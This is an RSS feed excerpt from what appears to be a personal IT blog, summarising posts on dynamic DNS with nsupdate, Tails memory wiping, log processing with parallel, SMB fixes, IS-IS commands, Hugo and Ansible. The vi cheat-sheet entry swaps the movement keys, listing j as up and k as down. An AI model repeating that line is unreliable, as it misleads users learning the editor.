      <description>&lt;p&gt;The command, &lt;code&gt;nsupdate&lt;/code&gt; is used to perform dynamic DNS updates from the CLI.&lt;/p&gt;&#xA;&lt;p&gt;Before the dynamic update:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@linux-host:~ $ host dyntest.jason.example.com&#xA;Host dyntest.jason.example.com not found: 3(NXDOMAIN)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Running the dynamic update command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@linux-host:~$ nsupdate&#xA;&amp;gt; server 192.168.0.1&#xA;&amp;gt; update add dyntest.jason.example.com 86400 A 127.0.0.1&#xA;&amp;gt; send&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the dynamic updates fails, verify there are no ACL&amp;rsquo;s prohibiting dynamic updates:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;May 11 08:14:20 192.168.0.1 named[31289]: client 192.168.3.4#61452: update &amp;#39;jason.example.com/IN&amp;#39; denied&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The allow-update line is used to control which IP addresses are allowed to send dynamic updates:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Tails Linux wipes active memory when the USB drive is removed</title>
      <link>https://jasonmurray.org/posts/2020/tailssme/</link>
      <pubDate>Mon, 08 Jun 2020 07:48:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tailssme/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://tails.boum.org/&#34;&gt;Tails Linux&lt;/a&gt; will automatically shut down and &lt;a href=&#34;https://tails.boum.org/contribute/design/memory_erasure/&#34;&gt;forcibly erase&lt;/a&gt; memory of the running operating system if the USB drive is removed while powered on:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/CU_0WEQHcRw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Tails erases active memory by using a custom &lt;a href=&#34;https://gitlab.tails.boum.org/tails/tails/-/blob/master/config/chroot_local-includes/usr/src/udev-watchdog.c&#34;&gt;udev watch-dog&lt;/a&gt; binary:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;amnesia@amnesia:/etc/udev/rules.d$ ps -ef | grep wat&#xA;root      5877     1  0 00:59 ?        00:00:00 /bin/sh /usr/local/lib/udev-watchdog-wrapper&#xA;root      5886  5877  0 00:59 ?        00:00:00 /usr/local/sbin/udev-watchdog /devices/pci0000:00/0000:00:14.0/usb2/2-1/2-1:1.0/host1/target1:0:0/1:0:0:0/block/sdb/sdb1 disk&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Full details can be found &lt;a href=&#34;https://tails.boum.org/contribute/design/memory_erasure/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using the parallel command to speed up log file processing</title>
      <link>https://jasonmurray.org/posts/2020/cliparallel/</link>
      <pubDate>Sun, 07 Jun 2020 10:07:53 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cliparallel/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Processing large log files from the command line using tools such as &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, and &lt;code&gt;awk&lt;/code&gt; can be time consuming.  By using the command &lt;a href=&#34;https://www.gnu.org/software/parallel/&#34;&gt;&lt;code&gt;parallel&lt;/code&gt;&lt;/a&gt;, processing time can be reduced significantly.&lt;/p&gt;&#xA;&lt;p&gt;In this example, the time it took to search through 24 large log files went from 130 seconds to 26 second by using the &lt;a href=&#34;https://www.gnu.org/software/parallel/&#34;&gt;&lt;code&gt;parallel&lt;/code&gt;&lt;/a&gt; command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurraylinux-host 2020-06-01]$ time ls -1 smb_files.*.gz | parallel -P5 &amp;#34;zcat {} | grep scipy | wc&amp;#34; | awk &amp;#39;{sum+=$1} END {print sum}&amp;#39;&#xA;1557855&#xA;&#xA;real&#x9;0m26.019s&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Example input data is 24 hours of SMB access logs:&lt;/p&gt;</description>
    </item>
    <item>
      <title>My backup plan</title>
      <link>https://jasonmurray.org/posts/2020/backups/</link>
      <pubDate>Sat, 06 Jun 2020 09:48:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/backups/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Without a solid backup plan, it is not a question of &lt;strong&gt;IF&lt;/strong&gt; data will be lost, but &lt;strong&gt;WHEN&lt;/strong&gt;.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;By using a combination of iCloud, BackBlaze, Google Photos, Timemachine, and a few external disks, I have developed a highly reliable backup solution for the most valuable data I own.&lt;/p&gt;&#xA;&lt;h1 id=&#34;requirements&#34;&gt;Requirements&lt;/h1&gt;&#xA;&lt;p&gt;A reliable backup plan has the following requirements. Any exceptions to these rules will eventually result in loss of data:&lt;/p&gt;</description>
    </item>
    <item>
      <title>SMB drive access problem within Administrator PowerShell terminal</title>
      <link>https://jasonmurray.org/posts/2020/smbaccessadmin/</link>
      <pubDate>Fri, 05 Jun 2020 10:11:12 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/smbaccessadmin/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Mounting a remote SMB drive under a regular user, then trying to access it via the Administrator account within PowerShell results in the following error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;dir : Cannot find path &amp;#39;\\storage1.example.com\dir&amp;#39; because it does not exist.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To resolve this problem, use the &lt;code&gt;net use&lt;/code&gt; command under an Administrator PowerShell terminal.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;SMB drive mounted via the GUI under the local user account:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/smbguimount.png&#34; alt=&#34;smb mount&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Attempting to access the share under the Administrator PowerShell user generates the following error:&lt;/p&gt;</description>
    </item>
    <item>
      <title>My COVID19 work-from-home-office</title>
      <link>https://jasonmurray.org/posts/2020/covidwfh/</link>
      <pubDate>Thu, 04 Jun 2020 08:00:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/covidwfh/</guid>
      <description>&lt;p&gt;Today marks 80 days of working from home because of COVID19. The picture below is a view of my evolving home office setup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/covidwfh.JPG&#34; alt=&#34;covid19 wfh&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Starting at the foundation, the desk is a sturdy folding table. It is a little too high, but the adjustable chair and foot rest help to compensate.&lt;/p&gt;&#xA;&lt;p&gt;The keyboard on the 2019 laptop stopped working. This is a &lt;a href=&#34;https://support.apple.com/keyboard-service-program-for-mac-notebooks&#34;&gt;known issue&lt;/a&gt;, but I can’t afford to be without a laptop for days or weeks. An external keyboard is working as a good substitute for now. Yes, there is a spare laptop on the desk, but this would require more work to rebuild right now.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Helpful commands when troubleshooting IS-IS on Cisco routers</title>
      <link>https://jasonmurray.org/posts/2020/isisprefixes/</link>
      <pubDate>Wed, 03 Jun 2020 08:58:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/isisprefixes/</guid>
      <description>&lt;p&gt;Validate IS-IS is running on an interface:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;iosv-1#show isis protocol&#xA;&#xA;Tag 65010:&#xA;IS-IS Router: 65010&#xA;  System Id: 1921.6800.0001.00  IS-Type: level-1-2&#xA;  Manual area address(es):&#xA;&#x9;49&#xA;  Routing for area address(es):&#xA;&#x9;49&#xA;  Interfaces supported by IS-IS:&#xA;&#x9;GigabitEthernet0/1 - IP&#xA;&#x9;GigabitEthernet0/2 - IP&#xA;&#x9;Loopback0 - IP&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Show IS-IS neighbor adjacency:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;iosv-1#show isis neighbors&#xA;&#xA;Tag 65010:&#xA;System Id       Type Interface     IP Address      State Holdtime Circuit Id&#xA;iosv-2          L2   Gi0/2         10.0.0.6        UP    27       01&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Find a specific IS-IS prefix entry:&lt;/p&gt;</description>
    </item>
    <item>
      <title>BrassCraft Multi-Turn Angle Valve seal replacement</title>
      <link>https://jasonmurray.org/posts/2020/brasscraftvalve/</link>
      <pubDate>Tue, 02 Jun 2020 07:43:15 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/brasscraftvalve/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;E L L I O T ! ! ! GET THE TOWELS!  I hear my wife screaming downstairs.   THE TOILET IS OVERFLOWING!&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The BrassCraft multi-turn angle valve in our bathroom was seized tight and when it finally broke loose, no longer shut off the water to the toilet.  This was a problem because the fill valve in the toilet stopped working and would not shut off either.&lt;/p&gt;&#xA;&lt;p&gt;The valve on the water supply line looks like this.  It is fully closed, yet still slowly leaks water:&lt;/p&gt;</description>
    </item>
    <item>
      <title>m is the CLI for macOS</title>
      <link>https://jasonmurray.org/posts/2020/mcli/</link>
      <pubDate>Mon, 01 Jun 2020 08:34:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/mcli/</guid>
      <description>&lt;p&gt;Not all tasks are easy to perform with a GUI, the CLI opens up a new realm of possibilities with scripting, automation, and simplified work flows.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/rgcr/m-cli&#34;&gt;&lt;code&gt;m&lt;/code&gt; is a 3rd party tool for interacting with macOS via the CLI.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Install &lt;code&gt;m&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install m-cli&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example command with &lt;code&gt;m&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ sudo m firewall status&#xA;Firewall is enabled. (State = 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The full command set:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ m&#xA;&#xA;  Swiss Army Knife for macOS ! &#xA;&#xA;&#xA;usage:  m [OPTIONS] COMMAND [help]&#xA;&#xA;    OPTIONS&#xA;        --update        update m-cli to the latest version&#xA;        --uninstall     uninstall m-cli&#xA;&#xA;    COMMANDS:&#xA;        help&#xA;        battery&#xA;        bluetooth&#xA;        dir&#xA;        disk&#xA;        display&#xA;        dns&#xA;        dock&#xA;        finder&#xA;        firewall&#xA;        flightmode&#xA;        gatekeeper&#xA;        group&#xA;        hostname&#xA;        info&#xA;        itunes&#xA;        lock&#xA;        network&#xA;        nosleep&#xA;        notification&#xA;        ntp&#xA;        printer&#xA;        restart&#xA;        safeboot&#xA;        screensaver&#xA;        service&#xA;        shutdown&#xA;        sleep&#xA;        timezone&#xA;        trash&#xA;        update&#xA;        user&#xA;        volume&#xA;        vpn&#xA;        wallpaper&#xA;        wifi&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As an example, I was able to use &lt;code&gt;m&lt;/code&gt; to automate desktop builds using &lt;a href=&#34;https://jasonmurray.org/posts/2020/ansiblelaptop/&#34;&gt;Ansible&lt;/a&gt;.  Having the right tool for the job is invaluable.&lt;/p&gt;</description>
    </item>
    <item>
      <title>My home lab setup</title>
      <link>https://jasonmurray.org/posts/2020/homelab/</link>
      <pubDate>Sun, 31 May 2020 10:55:26 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/homelab/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;As an infrastructure architect, the lab environment plays a significant role to validate design ideas, confirm configuration changes, and build new skills.&lt;/p&gt;&#xA;&lt;p&gt;My home lab has evolved over the past 20 years, moving from a complete rack of hardware, down to a single server, back to multiple servers, then completely outsourced to the cloud. In recent years the physical servers have returned to run compute hungry workloads like GNS3 and VIRL, as well as ESXi appliances that are easier to host locally than from remote.  &lt;/p&gt;</description>
    </item>
    <item>
      <title>Opening applications from the command line in macOS</title>
      <link>https://jasonmurray.org/posts/2020/macosopen/</link>
      <pubDate>Sat, 30 May 2020 11:10:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/macosopen/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary:&lt;/h1&gt;&#xA;&lt;p&gt;Open an app from the commandline:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;open macosopen.md&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details:&lt;/h1&gt;&#xA;&lt;h2 id=&#34;using-a-specific-application&#34;&gt;Using a specific application&lt;/h2&gt;&#xA;&lt;p&gt;Open a specific application with the &lt;code&gt;-a&lt;/code&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;In the example below the &lt;code&gt;.&lt;/code&gt; specifies the current working directory should be opened.   In Visual Studio Code, this is the equilivant to opening a &lt;code&gt;workspace&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/www $ open -a &amp;#39;Visual Studio Code&amp;#39; .&#xA;jemurray@mbp-2019:~/www&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscodeopen.png&#34; alt=&#34;vscode open&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;open-multiple-instances&#34;&gt;Open multiple instances&lt;/h2&gt;&#xA;&lt;p&gt;The same application can be opened in a new instance by using the &lt;code&gt;-n&lt;/code&gt; option.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using an iPad as a second monitor on a MacBook Pro</title>
      <link>https://jasonmurray.org/posts/2020/duet/</link>
      <pubDate>Fri, 29 May 2020 14:33:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/duet/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://www.duetdisplay.com/&#34;&gt;Duet&lt;/a&gt; desktop and app software can extend an iPad as a second monitor. Using an iPad as a second display is helpful when traveling and extra screen realestate is important.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Note: with the release of &lt;a href=&#34;https://www.apple.com/macos/catalina/&#34;&gt;Catalina&lt;/a&gt; and &lt;a href=&#34;https://support.apple.com/en-us/HT210380&#34;&gt;SideCar&lt;/a&gt; you may be able to avoid purchasing &lt;a href=&#34;https://www.duetdisplay.com/&#34;&gt;Duet&lt;/a&gt;, Compare the differences &lt;a href=&#34;https://www.google.com/search?q=duet+vs.+sidecar&amp;amp;oq=duet+vs.+sidecar&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, if you don’t have Catalina, use a &lt;a href=&#34;https://www.microsoft.com/en-us/windows&#34;&gt;Windows&lt;/a&gt; PC, or need more advanced features, Duet Air 2.0 may be the software you are looking for.  &lt;/p&gt;</description>
    </item>
    <item>
      <title>Using iCloud to sync open text files between Visual Studio Code and Textastic</title>
      <link>https://jasonmurray.org/posts/2020/icloudtextsync/</link>
      <pubDate>Thu, 28 May 2020 14:38:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/icloudtextsync/</guid>
      <description>&lt;p&gt;Synchronizing files between different devices within shared file storage can be a challenge to avoid data corruption.  &#xA;By using iCloud drive as the file storage system along with the text editing tools Visual Studio Code and Textastic, changes are automatically propagated without having to refresh or reload the content. This is helpful to avoid data corruption when multiple versions of the same file are open on different devices.&lt;/p&gt;&#xA;&lt;p&gt;The following YouTube video shows an example of Visual Studio Code in the background and Textastic in the foreground.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How I managed website content with Hugo and text editors</title>
      <link>https://jasonmurray.org/posts/2020/websiteflow/</link>
      <pubDate>Wed, 27 May 2020 07:41:22 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/websiteflow/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create new post: &lt;code&gt;hugo new posts/mynewpost.md&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start development server: &lt;code&gt;hugo -D server&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit content in your favorite editor: &lt;code&gt;vi posts/mynewpost.md&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check grammer in ProWritingAid&lt;/li&gt;&#xA;&lt;li&gt;Validate look and feel of site: &lt;code&gt;http://localhost:1313&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Publish content: &lt;code&gt;rsync -av --delete ~jemurray/Documents/www-personal/current/jasonmurray.org/public/ shell.jasonmurray.org:/var/www/html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;tools&#34;&gt;Tools&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Code editor: &lt;code&gt;vi&lt;/code&gt;, &lt;code&gt;Visual Studio Code&lt;/code&gt;, &lt;code&gt;Textastic&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;li&gt;Static website generator: &lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hosting: &lt;a href=&#34;https://www.digitalocean.com/&#34;&gt;Digital Ocean&lt;/a&gt; VSP (small instance)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;create-new-post&#34;&gt;Create new post&lt;/h2&gt;&#xA;&lt;p&gt;Everything starts out in either a terminal or Visual Code Studio (VSC).  In this post, I will switch between iTerm2 and VSC terminals and various editors depending on need.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Ansible to manage a network engineers workstation</title>
      <link>https://jasonmurray.org/posts/2020/ansiblelaptop/</link>
      <pubDate>Tue, 26 May 2020 08:18:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ansiblelaptop/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;I created an Ansible playbook to configure my macOS laptop.  The goal is to create an automation work-flow to consistently (re)build my or another network engineers workstation from scratch.   By using cloud hosted file storage, the primary job of this playbook is to install the proper software and (re)symlink configuration files.&lt;/p&gt;&#xA;&lt;p&gt;Besides the Google and Box drive tasks, the majority of the configuration should work for almost anyone, see &lt;a href=&#34;#post-configuration&#34;&gt;Post Configuration&lt;/a&gt; for more details about the cloud file storage systems.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Persistant terminal logging in iTerm2</title>
      <link>https://jasonmurray.org/posts/2020/iterm2logging/</link>
      <pubDate>Mon, 25 May 2020 05:35:16 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/iterm2logging/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Enable terminal logging for all sessions:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;iTerm2 -&amp;gt; Preferences... -&amp;gt; Profiles (Default) -&amp;gt; Session -&amp;gt; Automatically Log... -&amp;gt; /path/to/logfiles&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Much of my day is spent in a terminal session using &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, or the Unix &lt;code&gt;shell&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Terminal logging is invaluable to capture output, remember command syntax, review troubleshooting steps, or go back in history.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.iterm2.com/&#34;&gt;iTerm2&lt;/a&gt; has a feature that automatically logs all terminal output to a text file.&lt;/p&gt;&#xA;&lt;p&gt;Configuration:&lt;/p&gt;</description>
    </item>
    <item>
      <title>SMB: Cannot mount //path/folder read-only</title>
      <link>https://jasonmurray.org/posts/2020/cifsro/</link>
      <pubDate>Sun, 24 May 2020 10:11:19 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cifsro/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Install the &lt;code&gt;cifs-utils&lt;/code&gt; package on Linux if you receive this error &lt;code&gt;mount: cannot mount //path/folder read-only&lt;/code&gt; when trying to mount a remote SMB file system.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;While trying to mount a remote SMB directory on a CentOS 7.x server, this error happened:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@linux-host ~]$ sudo mount -v -t cifs -o username=jemurray,vers=3.0  //192.168.16.8/jemurray /mnt&#xA;mount: //192.168.16.8/jemurray is write-protected, mounting read-only&#xA;mount: cannot mount //192.168.16.8/jemurray read-only&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This was logged:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;May 22 14:08:23 linux-host kernel: Status code returned 0xc000006d STATUS_LOGON_FAILURE&#xA;May 22 14:08:23 linux-host kernel: CIFS VFS: Send error in SessSetup = -13&#xA;May 22 14:08:23 linux-host kernel: CIFS VFS: cifs_mount failed w/return code = -13&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To resolve the issue, the &lt;code&gt;cifs-utils&lt;/code&gt; package needs to be installed:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Testing network perfomance using SMB, dd, and bypassing local disks on Linux</title>
      <link>https://jasonmurray.org/posts/2020/smbspeedtest/</link>
      <pubDate>Sat, 23 May 2020 14:18:51 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/smbspeedtest/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Bypass disk performance constraints by writing to /dev/null and reading from /dev/zero:&lt;/p&gt;&#xA;&lt;p&gt;Write to /dev/null:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;dd status=progress if=/path/to/largefile.img of=/dev/null bs=128M&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read from /dev/zero:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;dd status=progress if=/dev/zero of=/path/to/largefile.img bs=100M count=1000&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Modern network infrastructure is no longer the congestion point when it comes to transferring data to and from a server. Disk I/O, which comprises the bus, controller, and disk speed, are typically the cause of poor performance.   &lt;/p&gt;&#xA;&lt;p&gt;By using /dev/zero and /dev/null, we can bypass poor performing disks to test the full capabilities of the network.&lt;/p&gt;</description>
    </item>
    <item>
      <title>COVID19 helps leaders evaluate expanded work from home policies</title>
      <link>https://jasonmurray.org/posts/2020/workingfromhome/</link>
      <pubDate>Fri, 22 May 2020 13:31:11 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/workingfromhome/</guid>
      <description>&lt;h2 id=&#34;the-catalyst&#34;&gt;The catalyst&lt;/h2&gt;&#xA;&lt;p&gt;For those individuals who work in a field where remote work is possible, the &lt;a href=&#34;https://www.cdc.gov/coronavirus/2019-ncov/index.html&#34;&gt;COVID19&lt;/a&gt; pandemic has been a catalyst to test the feasibility of long-term work from remote policies.  To leaders concerned if remote work can be successful, I will propose another way to look at this matter. The information in this post focuses on individuals who work in the IT field, although may apply to anyone able to do their job over a broadband Internet connection.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Ansible as a dynamic DNS update client</title>
      <link>https://jasonmurray.org/posts/2020/ansibledynamicdns/</link>
      <pubDate>Thu, 21 May 2020 16:04:59 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ansibledynamicdns/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Here is an Ansible playbook to update dynamic DNS entires using AWS Route 53, which can be used as an alternative to dynamic DNS services such as afraid.org, noip.com, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;&#xA;&lt;h3 id=&#34;requirements&#34;&gt;Requirements&lt;/h3&gt;&#xA;&lt;p&gt;Install boto python library:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip3 install boto&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;aws-authentication-and-authorization&#34;&gt;AWS Authentication and Authorization&lt;/h3&gt;&#xA;&lt;p&gt;Create the following environment variables by adding to your local shell configuration file such as the $HOME/.bashrc&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;AWS_ACCESS_KEY=&amp;lt;key goes here&amp;gt;&#xA;AWS_SECRET_KEY=&amp;lt;secret goes here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;inventory-file&#34;&gt;Inventory file&lt;/h3&gt;&#xA;&lt;p&gt;Create an Ansible inventory file:&lt;/p&gt;</description>
    </item>
    <item>
      <title>vi commands every engineer should know</title>
      <link>https://jasonmurray.org/posts/2020/readmefirstvi/</link>
      <pubDate>Wed, 20 May 2020 11:53:15 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/readmefirstvi/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The basics:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start: &lt;code&gt;vi&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Insert: &lt;code&gt;i&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exit insert mode (to use movement keys): &lt;code&gt;&amp;lt;esc&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Left: &lt;code&gt;h&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Up: &lt;code&gt;j&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Down: &lt;code&gt;k&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Right: &lt;code&gt;l&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save: &lt;code&gt;&amp;lt;esc&amp;gt;:wq!&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Many heated debates have been had over editors, vi vs emacs, graphical vs. console, etc.&lt;/p&gt;&#xA;&lt;p&gt;Any network or unix engineer worth their weight in salt should know &lt;code&gt;vi&lt;/code&gt;.  Why you ask? Unix-based systems with a CLI will have &lt;code&gt;vi&lt;/code&gt;. It is simple, lightweight, works over a terminal or console session, and does not require any special dependencies.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Installing python libraries in a virtual environment using Visual Studio Code</title>
      <link>https://jasonmurray.org/posts/2020/vspypip/</link>
      <pubDate>Tue, 19 May 2020 08:19:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vspypip/</guid>
